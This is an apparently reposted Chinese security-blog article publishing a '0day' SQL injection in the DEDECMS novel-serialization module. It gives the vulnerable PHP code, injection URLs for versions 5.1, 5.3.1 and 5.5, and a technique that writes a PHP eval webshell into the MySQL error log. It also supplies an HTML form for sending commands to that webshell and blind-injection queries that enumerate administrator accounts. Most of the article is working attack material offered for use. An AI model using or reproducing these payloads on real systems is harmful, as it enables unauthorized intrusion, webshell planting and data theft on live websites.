首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
DEDECMS小说连载模块0day
来源:http://www.st0p.org 作者:st0p 发布时间:2009-09-23  
由于这个洞出现在DEDECMS小说连载的模块中,
所以只要DEDECMS安装时选小说连载模块,那么就存在这个问题,有些版本在条件允许下是可以直接拿SHELL的哦.
st0p总结了一下利用条件
条件1:当服务器的PHP设置magic_quotes_gpc = Off
条件2:目标DEDECMS系统安装时选中小说连载模块
首先我们先来看一下DEDECMS 5.1,他的小说频道和DEDECMS 5.3.1,DEDECMS 5.5不同,
因为他的文件在member目录下面,文件是member/story_books.php,
而DEDECMS 5.3.1和DEDECMS 5.5的文件在book目录下,文件是book/story_books.php
因为里面的代码相似,所以呢,咱们只看一个story_books.php就行了 

 

<?php
......
if(!isset($action)) $action = ''; //检测变量$action是否存在,不存则则给初使值
if(!isset($catid)) $catid = 0; //检测变量$catid是否存在,不存则则给初使值
if(!isset($keyword)) $keyword = ""; //检测变量$keyword是否存在,不存则则给初使值
if(!isset($orderby)) $orderby = 0; //检测变量$orderby是否存在,不存则则给初使值
......
if($catid!=0) $addquery .= " And (b.bcatid='$catid' Or b.catid='$catid') "; 
//变量$catid不为0时,就直接把$catid给$addquery了,没有验证
if($keyword!="") $addquery .= " And (b.bookname like '%$keyword%' Or b.author like '%$keyword%') ";
//变量$keyword不为空时,就直接把$keyword给$addquery了,没有验证
$query = "
   Select b.id,b.catid,b.bookname,b.booktype,b.litpic,b.postnum,b.senddate,b.ischeck, c.id as cid,c.classname From #@__story_books b
   left join #@__story_catalog c on c.id = b.catid where memberid={$cfg_ml->M_ID} and b.id>0 $addquery $orderby
";
//生成了语句
......
?>

上面的代码看到了吧,嘎,catid和keyword没有过滤,所以这就引起了注入,
不过好像构成语句有点麻烦,这个就不在本文的讨论了范围了,我们举个小例子试一下,
以下操作请在登陆后进行测试,直接注册个帐号,登陆,然后输入以下地址就可以了
DEDECMS 5.1
测试一,catid变量,地址如下
http://st0p:88/dedecms51/member/story_books.php?catid=10′) or (’st0p’='st0p


测试二,keyword变量,地址如下
http://st0p:88/dedecms51/member/story_books.php?keyword=st0p%' or c.classname like '%st0p


DEDECMS 5.31
测试一,catid变量,地址如下
http://st0p:88/dedecms53/book/story_books.php?catid=10') or ('st0p'='st0p


DEDECMS 5.5

测试一,catid变量,地址如下
http://st0p:88/dedecms55/book/story_books.php?catid=10') or ('st0p'='st0p 


测试二,keyword变量,地址如下
http://st0p:88/dedecms55/book/story_books.php?keyword=st0p%' or c.classname like '%st0p

 


看到了吧,这三个版本都存在,不过由于后来DEDECMS的版本对注入语句做了限制,
注入的问题大家自己试吧,st0p就不讲了.
其实只要大家变通一下就可以拿到一些站的权限,
记得那个MYSQL错误写进后缀为PHP的日志文件的BUG吧,5.1好像没有这个功能,5.31没打补丁的话是有的,
如果打过补丁就会像5.5一样,把后缀名字改为了INC,所以虽然能写进去一句话马,但没法利用...
可怜啊,要是偶早发现,就是通杀了...
DEDECMS 5.31
include/dedesql.class.php文件

 

......
	//显示数据链接错误信息
	function DisplayError($msg)
	{
		$errorTrackFile = dirname(__FILE__).'/../data/mysql_error_trace.php'; //这里是PHP后缀
		$emsg = '';
		$emsg .= "<div><h3>DedeCMS Error Warning!</h3>\r\n";
		$emsg .= "<div><a class="thickbox" href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>";
		$emsg .= "<div style='line-helght:160%;font-size:14px;color:green'>\r\n";
		$emsg .= "<div style='color:blue'><br />Error page: <font color='red'>".$this->GetCurUrl()."</font></div>\r\n";
		$emsg .= "<div>Error infos: {$msg}</div>\r\n";
		$emsg .= "<br /></div></div>\r\n";
 
		echo $emsg;
 
		$savemsg = 'Page: '.$this->GetCurUrl()."\r\nError: ".$msg;
		//保存MySql错误日志
		$fp = @fopen($errorTrackFile, 'a');
		@fwrite($fp, '<'.'?php'."\r\n/*\r\n{$savemsg}\r\n*/\r\n?".">\r\n");
		@fclose($fp);
	}
......

DEDECMS 5.5和打过补丁
include/dedesql.class.php文件

......
	//显示数据链接错误信息
	function DisplayError($msg)
	{
		$errorTrackFile = dirname(__FILE__).'/../data/mysql_error_trace.inc'; //后缀变成INC了
		if( file_exists(dirname(__FILE__).'/../data/mysql_error_trace.php') ) //如果mysql_error_trace.php存在,删除文件
		{
			@unlink(dirname(__FILE__).'/../data/mysql_error_trace.php');
		}
		$emsg = '';
		$emsg .= "<div><h3>DedeCMS Error Warning!</h3>\r\n";
		$emsg .= "<div><a class="thickbox" href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>";
		$emsg .= "<div style='line-helght:160%;font-size:14px;color:green'>\r\n";
		$emsg .= "<div style='color:blue'><br />Error page: <font color='red'>".$this->GetCurUrl()."</font></div>\r\n";
		$emsg .= "<div>Error infos: {$msg}</div>\r\n";
		$emsg .= "<br /></div></div>\r\n";
 
		echo $emsg;
 
		$savemsg = 'Page: '.$this->GetCurUrl()."\r\nError: ".$msg;
		//保存MySql错误日志
		$fp = @fopen($errorTrackFile, 'a');
		@fwrite($fp, '<'.'?php'."\r\n/*\r\n{$savemsg}\r\n*/\r\n?".">\r\n");
		@fclose($fp);
	}
...... 

看了上面的代码,我们明白了吧,5.5和5.31打过补丁的都会变成这样,没法利用了,我们说一下5.31可以利用时的方法.
利用方法为
http://st0p:88/dedecms53/book/story_books.php?keyword=st0p%'*/eval($_POST[st0p]);?>


嘿嘿.这样我们就得到了一个SHELL
一句话地址为http://st0p:88/dedecms53/data/mysql_error_trace.php
我们直接POST提交数据就行了,DEDECMS 5.5的利用是一样的,
不过因为代码了处理,所以生成的文件后缀是INC,就没有用了,
下面是用来提交的HTM代码,只需要把下面的表单地址换成你的就可以了 

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="author" content="st0p,st0p.org" />
<title>st0p一句话提交</title>
</head>
 
<body>
<!--http://st0p:88/dedecms53/data/mysql_error_trace.php换成你的地址-->
<form id="form1" name="form1" method="post" action="http://st0p:88/dedecms53/data/mysql_error_trace.php">
  <p>
    <label>
      <textarea name="st0p" id="st0p" cols="45" rows="5">echo phpinfo();</textarea>
    </label>
  </p>
  <p>
    <label>
      <input type="submit" name="button" id="button" value="提交" />
    </label>
  </p>
</form>
</body>
</html>

当然小说连载模块还有别的文件也存在同样的问题,下面的几个文件都存在
story_stow.php
mybooks.phpstory_books.php
story_list_chapter.php
story_list_content.php

本来想过不发布这个0DAY的,嘿嘿,不过偶想多交点牛X点的朋友,共享信息,所以就决定发出来了,以后就少发一些吧...
有问题大家可以在我的BLOG讨论!
注:文章发布后,有朋友看完之后说,这个很鸡肋,因为好多服务器都是magic_quotes_gpc = On情况下,这点我无意争论,但我写的问题是的确存在的,只是想利用需要一些条件而以,在5.1版本中如果说前台可以新增连载图书的话,也是有些用的,在5.31和5.5中过滤了SQL一些关键字,所以好似暂时没有方法,咱们以5.1版本来检测有几个管理员为例吧.
1.我们要新增一本连载的书
2.http://st0p:88/dedecms51/member/story_books.php?catid=10') or (select count(*) from dede_admin)>0 or ('st0p'='st0pa 


3. http://st0p:88/dedecms51/member/story_books.php?catid=10') or (select count(*) from dede_admin)>1 or ('st0p'='st0pa

 


嘎,上面得到结论就是管理员个数为1个...
例子就举这个了,其实漏洞随时可能发生,不过在乎环境不同,影响不同而以,有时鸡肋的东西运用好也是会有收获的...


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·php版ewebeditor 3.8的漏洞
·小谈WIN系统Hacking中提权前的小
·利用Fly_Flash蠕虫攻击开心网
·小谈WIN系统Hacking中的小命令2
·续谈Hacking中的小技巧
·Gene6 FTP Server提权方法
·墨尔本及高雄电影节官网漏洞揭露
·电信局入侵实例
·Javascript Paste Keyboard Shor
·unix入侵
·如何使用MySQL提升权限
·如何渗透域
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved